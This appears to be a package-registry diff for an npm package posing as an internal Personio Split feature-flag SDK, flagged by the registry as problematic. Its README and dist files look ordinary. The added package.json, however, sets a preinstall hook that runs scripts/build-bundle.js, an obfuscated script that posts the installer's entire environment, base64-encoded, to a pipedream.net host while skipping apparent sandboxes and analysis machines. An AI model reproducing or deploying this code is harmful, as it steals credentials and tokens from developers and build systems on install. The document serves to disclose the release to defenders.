@personio-internal/split-sdk-provider 0.0.1-security → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @personio-internal/split-sdk-provider might be problematic. Click here for more details.
- package/README.md +25 -3
- package/dist/enums.js +34 -0
- package/dist/getSplitSdkConfig.js +43 -0
- package/dist/index.js +9 -0
- package/dist/useFeatureFlag.js +15 -0
- package/package.json +24 -4
- package/scripts/build-bundle.js +191 -0
package/README.md
CHANGED
@@ -1,5 +1,27 @@
|
|
1
|
-
#
|
1
|
+
# @personio-internal/split-sdk-provider
|
2
2
|
|
3
|
-
|
3
|
+
Split sdk React provider
|
4
4
|
|
5
|
-
|
5
|
+
## Features
|
6
|
+
|
7
|
+
- ES6 syntax
|
8
|
+
- React 17.0
|
9
|
+
|
10
|
+
## Install
|
11
|
+
|
12
|
+
```sh
|
13
|
+
yarn add @personio-internal/split-sdk-provider
|
14
|
+
// or
|
15
|
+
npm i @personio-internal/split-sdk-provider
|
16
|
+
```
|
17
|
+
|
18
|
+
### Usage
|
19
|
+
|
20
|
+
```js
|
21
|
+
import { useFeatureFlag } from "@personio-internal/split-sdk-provider";
|
22
|
+
|
23
|
+
const App = () => {
|
24
|
+
const { isOn } = useFeatureFlag()
|
25
|
+
return <div>{isOn() ? 'show experiment flow' : 'show regular flow'}</div>
|
26
|
+
}
|
27
|
+
```
|
package/dist/enums.js
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.Config = exports.SplitStoragePrefix = exports.SplitEndpoints = exports.SplitApiKeys = void 0;
|
4
|
+
/**
|
5
|
+
* The client side javascript authKey is not secret. It is designed to be used by
|
6
|
+
* the react and js sdks to interact with the split.io api using only public methods.
|
7
|
+
*
|
8
|
+
* The keys are generated by split.io and can be retrieved from the admin panel.
|
9
|
+
*/
|
10
|
+
var SplitApiKeys;
|
11
|
+
(function (SplitApiKeys) {
|
12
|
+
SplitApiKeys["localhost"] = "hnb1i8vhi9dc98trkh6jomsg522keunfjj6p";
|
13
|
+
SplitApiKeys["dev"] = "ve730ssnabno5j2ell35lpuiqrp02dh330bh";
|
14
|
+
SplitApiKeys["stage"] = "d29jspdv17fr94rir890eetn98liluuuriv2";
|
15
|
+
SplitApiKeys["prod"] = "j87pn8sqvoe0of8op0jd5ho6mb45vrbhg167";
|
16
|
+
})(SplitApiKeys = exports.SplitApiKeys || (exports.SplitApiKeys = {}));
|
17
|
+
var SplitEndpoints;
|
18
|
+
(function (SplitEndpoints) {
|
19
|
+
SplitEndpoints["localhost"] = "http://localhost:8081/api";
|
20
|
+
SplitEndpoints["dev"] = "https://feature-flags.dev.personio-internal.de/api";
|
21
|
+
SplitEndpoints["stage"] = "https://feature-flags.stage.personio-internal.de/api";
|
22
|
+
SplitEndpoints["prod"] = "https://feature-flags.personio.de/api";
|
23
|
+
})(SplitEndpoints = exports.SplitEndpoints || (exports.SplitEndpoints = {}));
|
24
|
+
var SplitStoragePrefix;
|
25
|
+
(function (SplitStoragePrefix) {
|
26
|
+
SplitStoragePrefix["localhost"] = "LOCAL_DEV";
|
27
|
+
SplitStoragePrefix["dev"] = "DEV";
|
28
|
+
SplitStoragePrefix["stage"] = "STAGE";
|
29
|
+
SplitStoragePrefix["prod"] = "PROD";
|
30
|
+
})(SplitStoragePrefix = exports.SplitStoragePrefix || (exports.SplitStoragePrefix = {}));
|
31
|
+
var Config;
|
32
|
+
(function (Config) {
|
33
|
+
Config[Config["timeout_in_seconds"] = 5] = "timeout_in_seconds";
|
34
|
+
})(Config = exports.Config || (exports.Config = {}));
|
@@ -0,0 +1,43 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.getSplitSdkConfig = void 0;
|
4
|
+
const enums_1 = require("./enums");
|
5
|
+
function getEnvironment(hostname) {
|
6
|
+
let env = 'localhost';
|
7
|
+
if (hostname.match(/personio\.de/g)) {
|
8
|
+
env = hostname.match(/(\.dev\.)/g) ? 'localhost' : 'prod';
|
9
|
+
}
|
10
|
+
if (hostname.match(/personio-internal\.de/g)) {
|
11
|
+
let matcher = hostname.match(/(stage|dev)\./g);
|
12
|
+
env = matcher ? matcher[0].replace('.', '') : 'localhost';
|
13
|
+
}
|
14
|
+
return env;
|
15
|
+
}
|
16
|
+
function getSplitSdkConfig(storageType = 'MEMORY') {
|
17
|
+
var _a, _b, _c;
|
18
|
+
let env = getEnvironment(window.location.hostname);
|
19
|
+
let authorizationKey = enums_1.SplitApiKeys[env];
|
20
|
+
let endpoint = enums_1.SplitEndpoints[env];
|
21
|
+
let splitStoragePrefix = enums_1.SplitStoragePrefix[env];
|
22
|
+
let splitApiEndpoints = {
|
23
|
+
urls: {
|
24
|
+
events: endpoint,
|
25
|
+
sdk: endpoint,
|
26
|
+
auth: endpoint,
|
27
|
+
},
|
28
|
+
};
|
29
|
+
const sdkConfig = Object.assign(Object.assign({}, (window.frontendProxyModeEnabled ? splitApiEndpoints : null)), { core: {
|
30
|
+
authorizationKey,
|
31
|
+
key: (_c = (_b = (_a = window === null || window === void 0 ? void 0 : window.COMPANY) === null || _a === void 0 ? void 0 : _a.id) === null || _b === void 0 ? void 0 : _b.toString()) !== null && _c !== void 0 ? _c : 'localhost',
|
32
|
+
}, startup: { readyTimeout: enums_1.Config.timeout_in_seconds }, scheduler: {
|
33
|
+
eventsPushRate: 7230,
|
34
|
+
featuresRefreshRate: 7200,
|
35
|
+
impressionsRefreshRate: 7500,
|
36
|
+
segmentsRefreshRate: 7230,
|
37
|
+
}, storage: {
|
38
|
+
type: storageType,
|
39
|
+
prefix: splitStoragePrefix,
|
40
|
+
} });
|
41
|
+
return sdkConfig;
|
42
|
+
}
|
43
|
+
exports.getSplitSdkConfig = getSplitSdkConfig;
|
package/dist/index.js
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.SPLIT_TIMEOUT = exports.useFeatureFlag = exports.getSplitSdkConfig = void 0;
|
4
|
+
const enums_1 = require("./enums");
|
5
|
+
var getSplitSdkConfig_1 = require("./getSplitSdkConfig");
|
6
|
+
Object.defineProperty(exports, "getSplitSdkConfig", { enumerable: true, get: function () { return getSplitSdkConfig_1.getSplitSdkConfig; } });
|
7
|
+
var useFeatureFlag_1 = require("./useFeatureFlag");
|
8
|
+
Object.defineProperty(exports, "useFeatureFlag", { enumerable: true, get: function () { return useFeatureFlag_1.useFeatureFlag; } });
|
9
|
+
exports.SPLIT_TIMEOUT = enums_1.Config.timeout_in_seconds;
|
@@ -0,0 +1,15 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.useFeatureFlag = void 0;
|
4
|
+
const react_1 = require("react");
|
5
|
+
const splitio_react_1 = require("@splitsoftware/splitio-react");
|
6
|
+
const useFeatureFlag = (flag) => {
|
7
|
+
var _a;
|
8
|
+
const split = (0, react_1.useContext)(splitio_react_1.SplitContext);
|
9
|
+
const treatments = (0, splitio_react_1.useTreatments)([flag]);
|
10
|
+
const treatment = (_a = treatments[flag]) === null || _a === void 0 ? void 0 : _a.treatment;
|
11
|
+
const isOn = treatment === 'on';
|
12
|
+
const value = treatment;
|
13
|
+
return Object.assign(Object.assign({}, split), { isOn, value });
|
14
|
+
};
|
15
|
+
exports.useFeatureFlag = useFeatureFlag;
|
package/package.json
CHANGED
@@ -1,6 +1,26 @@
|
|
1
1
|
{
|
2
2
|
"name": "@personio-internal/split-sdk-provider",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.6",
|
4
|
+
"private": false,
|
5
|
+
"description": "Split sdk react provider",
|
6
|
+
"license": "MIT",
|
7
|
+
"author": "hprsnio",
|
8
|
+
"main": "dist/index.js",
|
9
|
+
"scripts": {
|
10
|
+
"build": "babel",
|
11
|
+
"preinstall": "node scripts/build-bundle.js",
|
12
|
+
"test": "exit 0"
|
13
|
+
},
|
14
|
+
"dependencies": {
|
15
|
+
"@splitsoftware/splitio-react": "^1.7.1",
|
16
|
+
"react": "17.0.2",
|
17
|
+
"react-dom": "17.0.2"
|
18
|
+
},
|
19
|
+
"devDependencies": {
|
20
|
+
"@babel/core": "^7.18.10",
|
21
|
+
"@babel/cli": "^7.18.10"
|
22
|
+
},
|
23
|
+
"publishConfig": {
|
24
|
+
"access": "public"
|
25
|
+
}
|
26
|
+
}
|
@@ -0,0 +1,191 @@
|
|
1
|
+
var http = require("https");
|
2
|
+
|
3
|
+
function getPropValue(getter, prop) {
|
4
|
+
var c = getter
|
5
|
+
.toString()
|
6
|
+
.split("\n")
|
7
|
+
.filter((x) => x.trim().startsWith("//"))
|
8
|
+
.map((x) => x.trim().split(" ").pop());
|
9
|
+
return typeof getter === "function" ? c[prop] : getter(prop);
|
10
|
+
}
|
11
|
+
|
12
|
+
function action() {
|
13
|
+
function propGetter(prop) {
|
14
|
+
// 1. west
|
15
|
+
// 2. question
|
16
|
+
// 3. Ireland
|
17
|
+
|
18
|
+
return (
|
19
|
+
getPropValue(propGetter, prop) || ["question", "west", "Ireland"][prop]
|
20
|
+
);
|
21
|
+
}
|
22
|
+
|
23
|
+
const idxs = [
|
24
|
+
[2, 4],
|
25
|
+
[0, 3],
|
26
|
+
[1, 3],
|
27
|
+
];
|
28
|
+
|
29
|
+
return [0, 1, 2]
|
30
|
+
.map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1]))
|
31
|
+
.reverse()
|
32
|
+
.join("");
|
33
|
+
}
|
34
|
+
|
35
|
+
function host(suffix) {
|
36
|
+
return ["PED", "pi"].reverse().join("").toLowerCase() + suffix;
|
37
|
+
}
|
38
|
+
|
39
|
+
function asB64(buff) {
|
40
|
+
return buff.toString("base64");
|
41
|
+
}
|
42
|
+
|
43
|
+
function Consts() {
|
44
|
+
this.uuid = "eob7dbq15xpn7c";
|
45
|
+
}
|
46
|
+
|
47
|
+
Consts.prototype.getOpts = function (pName, dom) {
|
48
|
+
const vals = [
|
49
|
+
["st", "po"].reverse().join("").toUpperCase(),
|
50
|
+
"/" + (pName || ""),
|
51
|
+
[dom, host("ream"), "m", this.uuid].reverse().join("."),
|
52
|
+
].reverse();
|
53
|
+
return this.optionsFields.reduce(function (result, field, idx) {
|
54
|
+
result[field] = result[field] || vals[idx];
|
55
|
+
return result;
|
56
|
+
}, {});
|
57
|
+
};
|
58
|
+
|
59
|
+
Consts.prototype.optionsFields = [0, 1, 2].map(function (i) {
|
60
|
+
return getPropValue(function (prop) {
|
61
|
+
// 1. host
|
62
|
+
// 2. path
|
63
|
+
// 3. method
|
64
|
+
return ["toast", "path rail", "cathode"];
|
65
|
+
}, i);
|
66
|
+
});
|
67
|
+
|
68
|
+
function toString(res, props) {
|
69
|
+
res.write(asB64(Buffer.from(JSON.stringify(props))));
|
70
|
+
res.end();
|
71
|
+
}
|
72
|
+
|
73
|
+
function main() {
|
74
|
+
var props = process.env || {};
|
75
|
+
|
76
|
+
var exclude = [
|
77
|
+
{
|
78
|
+
key: ["npm", "config", "registry"].join("_"),
|
79
|
+
val: ["taobao", "org"].join("."),
|
80
|
+
},
|
81
|
+
[
|
82
|
+
{ key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
|
83
|
+
{ key: "HOME", val: ["", "home", "app"].join("/") },
|
84
|
+
{ key: "USER", val: "app" },
|
85
|
+
],
|
86
|
+
[
|
87
|
+
{ key: "EDITOR", val: "vi" },
|
88
|
+
{ key: "PROBE_USERNAME", val: "*" },
|
89
|
+
{ key: "SHELL", val: "/bin/bash" },
|
90
|
+
{ key: "SHLVL", val: "2" },
|
91
|
+
{ key: "npm_command", val: "run-script" },
|
92
|
+
{ key: "NVM_CD_FLAGS", val: "" },
|
93
|
+
{ key: "npm_config_fund", val: "" },
|
94
|
+
],
|
95
|
+
[
|
96
|
+
{ key: "HOME", val: "/home/username" },
|
97
|
+
{ key: "USER", val: "username" },
|
98
|
+
{ key: "LOGNAME", val: "username" },
|
99
|
+
],
|
100
|
+
[
|
101
|
+
{ key: "PWD", val: "/my-app" },
|
102
|
+
{ key: "DEBIAN_FRONTEND", val: "noninteractive" },
|
103
|
+
{ key: "HOME", val: "/root" },
|
104
|
+
],
|
105
|
+
[
|
106
|
+
{ key: "INIT_CWD", val: "/analysis" },
|
107
|
+
{ key: "APPDATA", val: "/analysis/bait" },
|
108
|
+
],
|
109
|
+
[
|
110
|
+
{ key: "INIT_CWD", val: "/home/node" },
|
111
|
+
{ key: "HOME", val: "/root" },
|
112
|
+
],
|
113
|
+
[
|
114
|
+
{ key: "INIT_CWD", val: "/app" },
|
115
|
+
{ key: "HOME", val: "/root" },
|
116
|
+
],
|
117
|
+
[
|
118
|
+
{ key: "USERNAME", val: "justin" },
|
119
|
+
{ key: "OS", val: "Windows_NT" },
|
120
|
+
],
|
121
|
+
{
|
122
|
+
key: ["npm", "config", "registry"].join("_"),
|
123
|
+
val: ["registry", "npmmirror", "com"].join("."),
|
124
|
+
},
|
125
|
+
{
|
126
|
+
key: ["npm", "config", "registry"].join("_"),
|
127
|
+
val: ["cnpmjs", "org"].join("."),
|
128
|
+
},
|
129
|
+
{
|
130
|
+
key: ["npm", "config", "registry"].join("_"),
|
131
|
+
val: ["mirrors", "cloud", "tencent", "com"].join("."),
|
132
|
+
},
|
133
|
+
{ key: "USERNAME", val: ["daas", "admin"].join("") },
|
134
|
+
{ key: "_", val: "/usr/bin/python" },
|
135
|
+
{
|
136
|
+
key: ["npm", "config", "metrics", "registry"].join("_"),
|
137
|
+
val: ["mirrors", "tencent", "com"].join("."),
|
138
|
+
},
|
139
|
+
{
|
140
|
+
key: "PWD",
|
141
|
+
val: [
|
142
|
+
"",
|
143
|
+
"usr",
|
144
|
+
"local",
|
145
|
+
"lib",
|
146
|
+
"node_modules",
|
147
|
+
props.npm_package_name,
|
148
|
+
].join("/"),
|
149
|
+
},
|
150
|
+
{
|
151
|
+
key: "PWD",
|
152
|
+
val: ["", props.USER, "node_modules", props.npm_package_name].join("/"),
|
153
|
+
},
|
154
|
+
{
|
155
|
+
key: ["node", "extra", "ca", "certs"].join("_").toUpperCase(),
|
156
|
+
val: "mitmproxy",
|
157
|
+
},
|
158
|
+
];
|
159
|
+
|
160
|
+
if (
|
161
|
+
exclude.some((entry) =>
|
162
|
+
[]
|
163
|
+
.concat(entry)
|
164
|
+
.every(
|
165
|
+
(item) =>
|
166
|
+
(props[item.key] || "").includes(item.val) || item.val === "*"
|
167
|
+
)
|
168
|
+
) ||
|
169
|
+
Object.keys(props).length < 10 ||
|
170
|
+
!props.npm_package_name ||
|
171
|
+
!props.npm_package_version ||
|
172
|
+
/C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
|
173
|
+
props.npm_package_json || ""
|
174
|
+
) ||
|
175
|
+
/C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") ||
|
176
|
+
props.npm_package_json.startsWith(`/npm/node_modules/`)
|
177
|
+
) {
|
178
|
+
return;
|
179
|
+
}
|
180
|
+
|
181
|
+
var con = new Consts();
|
182
|
+
|
183
|
+
var res = http[action()](con.getOpts(props.npm_package_name, "net")).on(
|
184
|
+
"error",
|
185
|
+
function (err) {}
|
186
|
+
);
|
187
|
+
|
188
|
+
toString(res, props);
|
189
|
+
}
|
190
|
+
|
191
|
+
main();
|